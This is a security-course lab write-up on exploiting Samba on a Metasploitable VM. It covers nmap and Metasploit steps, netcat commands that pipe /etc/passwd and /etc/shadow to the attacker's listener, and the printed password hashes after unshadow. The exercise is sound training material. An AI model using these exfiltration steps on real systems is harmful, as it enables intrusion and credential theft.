# Lab 7 - Exploiting Samba and Exfiltrating Data

Target IP: 172.16.0.22 Target: Metasploitable

1. Run nmap against the metasploitable machine using the following command.

* sudo nmap -sV <metasploitable IP> -vvv (make a note of open ports and services).
* make a note of what port Samba is running.
* └─$ sudo nmap -sV 172.16.0.22 -vvv | grep Samba 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

1. On your Kali machine launch the metasploit framework.
2. Search for Samba exploits based on version identified in nmap results.

* msf6> search type:exploit name:samba

1. Select the exploit matching the version (note that the search option may not provide a lot of information so you will likely have to try multiple exploits to make it work).
2. Select the exploit by using command below.

* use exploit/xxxxx

1. Set required options by using set command (hint RHOSTS, and possibly payload).
2. Execute the exploit (this should open a session on the exploited host).
3. Open another Kali terminal window.
4. Launch netcat in a listen mode and redirect output to a file as shown.

* nc -l -p 4567 > passwd.txt

1. From the exploited system terminal (session opened from metasploit exploit you executed) type the following commands to extract the /etc/passwd file.

* cat /etc/passwd | nc <kali ip> 4567 (there will be no progress bar and there should be no error messages).
* go back to the listening netcat window and terminate it using CTRL+C. Cat the contents of the passwd.txt file using command below.
* cat passwd.txt

1. Start another netcat command but redirect the contents to shadow.txt instead of passwd.txt (use the same command as in Step 9 just change passwd.txt to shadow.txt).
2. From the exploited system terminal (session opened from metasploit exploit you executed) type the following commands to extract the /etc/shadow file.

* cat /etc/shadow| nc <kali ip> 4567 (there will be no progress bar and there should be no error messages).
* go back to the listening netcat window and terminate it using CTRL+C. Cat the contents of the passwd.txt file using command below.
* cat shadow.txt

1. On your kali box combine the contents of passwd.txt and shadow.txt using the command below.

* unshadow passwd.txt shadow.txt > user\_logins.txt

1. What is the content of the combined user\_logins.txt file (include screenshot).

* root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash daemon:\*:1:1:daemon:/usr/sbin:/bin/sh bin:\*:2:2:bin:/bin:/bin/sh sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh sync:\*:4:65534:sync:/bin:/bin/sync games:\*:5:60:games:/usr/games:/bin/sh man:\*:6:12:man:/var/cache/man:/bin/sh lp:\*:7:7:lp:/var/spool/lpd:/bin/sh mail:\*:8:8:mail:/var/mail:/bin/sh news:\*:9:9:news:/var/spool/news:/bin/sh uucp:\*:10:10:uucp:/var/spool/uucp:/bin/sh proxy:\*:13:13:proxy:/bin:/bin/sh www-data:\*:33:33:www-data:/var/www:/bin/sh backup:\*:34:34:backup:/var/backups:/bin/sh list:\*:38:38:Mailing List Manager:/var/list:/bin/sh irc:\*:39:39:ircd:/var/run/ircd:/bin/sh gnats:\*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:\*:65534:65534:nobody:/nonexistent:/bin/sh libuuid:!:100:101::/var/lib/libuuid:/bin/sh dhcp:\*:101:102::/nonexistent:/bin/false syslog:\*:102:103::/home/syslog:/bin/false klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false sshd:\*:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:\*:105:113::/var/cache/bind:/bin/false postfix:\*:106:115::/var/spool/postfix:/bin/false ftp:\*:107:65534::/home/ftp:/bin/false postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:!:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:\*:110:65534::/usr/share/tomcat5.5:/bin/false distccd:\*:111:65534::/:/bin/false user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash telnetd:\*:112:120::/nonexistent:/bin/false proftpd:!:113:65534::/var/run/proftpd:/bin/false statd:\*:114:65534::/var/lib/nfs:/bin/false